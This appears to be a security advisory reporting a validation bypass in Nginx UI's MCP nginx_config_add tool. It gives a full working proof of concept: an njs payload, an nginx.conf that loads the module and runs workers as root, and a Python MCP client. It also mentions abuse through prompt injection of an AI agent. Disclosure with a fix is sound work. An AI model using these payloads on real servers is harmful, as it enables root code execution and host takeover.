Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

Summary

internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image).

Root cause — an incomplete hardening patch

Commit 3e411d38 ("Harden config write paths", 2026-04-21) introduced ValidateConfigFile and wired it into the config-write paths — but its changeset touched only: api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199), mcp/config/config_modify.go (+5) It did NOT touch mcp/config/config_add.go. So the MCP add path was left without the validation that all of its sibling paths received. config_add.go has never called ValidateConfigFile (verified via git history); this is an oversight in the hardening, not a regression.

Affected code (mcp/config/config_add.go, handleNginxConfigAdd)

content := mcp.GetString(args, "content")        // caller-controlled
...
path, err := config.ResolveConfPath(baseDir, name)   // path is sandboxed to the conf dir (OK)
...
err = os.WriteFile(path, []byte(content), 0644)  // <-- no config.ValidateConfigFile(path, content)
...
res := nginx.Control(nginx.Reload)               // reloads nginx

Contrast — the guarded sibling (mcp/config/config_modify.go) does:

err = config.ValidateConfigFile(absPath, content)   // rejects js_*/perl_*/load_module/user root
if err != nil { return nil, err }

Proof of Concept (live, Docker, official image)

Image uozi/nginx-ui:2.3.11, nginx 1.31.0. Authenticated with a valid node secret (X-Node-Secret). MCP over SSE; client script poc_mcp_client.py attached.

1. Validation bypass (decisive):

   • tools/call nginx_config_add {name:"poc_blocked.conf", base_dir:"sites-available", content:"js_import poc.js;\nperl_set $x 'sub{return 1}';\nuser root;\nload_module .../ngx_http_js_module.so;"} → SUCCESS; file written verbatim (confirmed on disk).
   • Same content via nginx_config_modify → REJECTED: {"code":-32603,"message":"file content contains restricted nginx directive: js_import"}.

2. Effect (using only the vulnerable config_add tool):

   • Wrote /etc/nginx/poc.js (njs module) and overwrote /etc/nginx/nginx.conf with load_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899; location=/pwn { js_content poc.pwn; } }. Tool returned SUCCESS (reload succeeded; nginx -t ok).
   • /proc/<worker>/status → Uid: 0 0 0 0 (workers run as root — user root took effect).
   • GET http://127.0.0.1:8899/pwn → pwned (njs js_content executed).
   • /tmp/NJS_RCE_PROOF.txt created, owned by root → JavaScript code execution in the nginx worker performing arbitrary file write as root.

Reproduction payloads (self-contained)

njs module written to /etc/nginx/poc.js via nginx_config_add (name="poc.js", base_dir=""):

import fs from 'fs';
function pwn(r){
  try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; }
  r.return(200,'pwned\n');
}
export default { pwn };

Main config overwritten via nginx_config_add (name="nginx.conf", base_dir="", overwrite=true):

load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
user root;
worker_processes 1;
error_log /var/log/nginx/error.log notice;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
    include /etc/nginx/mime.types;
    default_type application/octet-stream;
    js_import poc from /etc/nginx/poc.js;
    server { listen 8899; location = /pwn { js_content poc.pwn; } }
}

PoC client (MCP-over-SSE, Python stdlib only)

Set SECRET to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT. Usage: python3 poc_mcp_client.py list then python3 poc_mcp_client.py call <tool> '<json-args>'.

import sys, json, threading, queue, time, http.client
BASE = "127.0.0.1:9000"
SECRET = "<NODE_SECRET_OR_JWT>"
HDR = {"X-Node-Secret": SECRET}   # or {"Authorization": "Bearer <JWT>"}
resp_q = queue.Queue(); endpoint = {}

def sse_reader():
    conn = http.client.HTTPConnection(BASE, timeout=60)
    conn.request("GET", "/mcp", headers={**HDR, "Accept": "text/event-stream"})
    r = conn.getresponse(); event = None
    while True:
        line = r.fp.readline()
        if not line: break
        line = line.decode("utf-8","replace").rstrip("\r\n")
        if line.startswith("event:"): event = line[6:].strip()
        elif line.startswith("data:"):
            data = line[5:].strip()
            if event == "endpoint": endpoint["url"] = data; endpoint["ready"] = True
            else: resp_q.put(data)
        elif line == "": event = None

def post(obj):
    conn = http.client.HTTPConnection(BASE, timeout=30)
    conn.request("POST", endpoint["url"], body=json.dumps(obj).encode(),
                 headers={**HDR, "Content-Type": "application/json"})
    return conn.getresponse().read()

def wait(wid, t=20):
    end = time.time()+t
    while time.time() < end:
        try: d = resp_q.get(timeout=t)
        except queue.Empty: break
        try: j = json.loads(d)
        except Exception: continue
        if j.get("id") == wid: return j

threading.Thread(target=sse_reader, daemon=True).start()
for _ in range(50):
    if endpoint.get("ready"): break
    time.sleep(0.1)
post({"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05",
      "capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}); wait(1)
post({"jsonrpc":"2.0","method":"notifications/initialized","params":{}})
cmd = sys.argv[1] if len(sys.argv) > 1 else "list"
if cmd == "list":
    post({"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}})
    print([t["name"] for t in wait(2)["result"]["tools"]])
elif cmd == "call":
    post({"jsonrpc":"2.0","id":3,"method":"tools/call",
          "params":{"name":sys.argv[2],"arguments":json.loads(sys.argv[3])}})
    print(json.dumps(wait(3, 25), indent=1))

Impact

An authenticated MCP principal — or a connected AI agent subverted via prompt injection — bypasses the directive-validation security control and injects directives the project explicitly blocks elsewhere. On deployments with the njs/perl module available (the official Docker image ships ngx_http_js_module.so), this yields code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially escalated to full host compromise: /root/.ssh/authorized_keys, /etc/cron.d/*, overwriting a binary). On stock nginx without those modules it is a reliable DoS (failed reload) plus a user root privilege regression.

Honest scope / caveats

• Authenticated (node secret or user JWT), agent-mediated — not unauthenticated.
• RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. Stock nginx without those modules → DoS instead.
• The write path is sandboxed to the nginx conf dir (no path traversal); the bug is directive injection. (The main nginx.conf is inside that dir and can be overwritten with overwrite=true.)
• nginx-ui runs as root by design (it manages nginx); the bypass additionally lets request-handling workers run as root via user root.

Suggested fix

Call config.ValidateConfigFile(path, content) in handleNginxConfigAdd before os.WriteFile, matching mcp/config/config_modify.go and the API paths — i.e. complete the 3e411d38 hardening on the one path it missed.

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Dedup / novelty

Distinct from CVE-2026-33032 (GHSA-h6c2-x2m2-mwhf, "Unauthenticated MCP Endpoint"), whose root cause is a MISSING AUTH middleware on /mcp_message (now fixed by adding AuthRequired) and which does not involve config-content validation. This report is an AUTHENTICATED bypass of the directive-validation control on the config_add path, and works on a fully patched (post-33032) instance. No existing CVE/GHSA covers the config_add validation gap (checked osv.dev and the GitHub advisory database for this repo). Appears novel.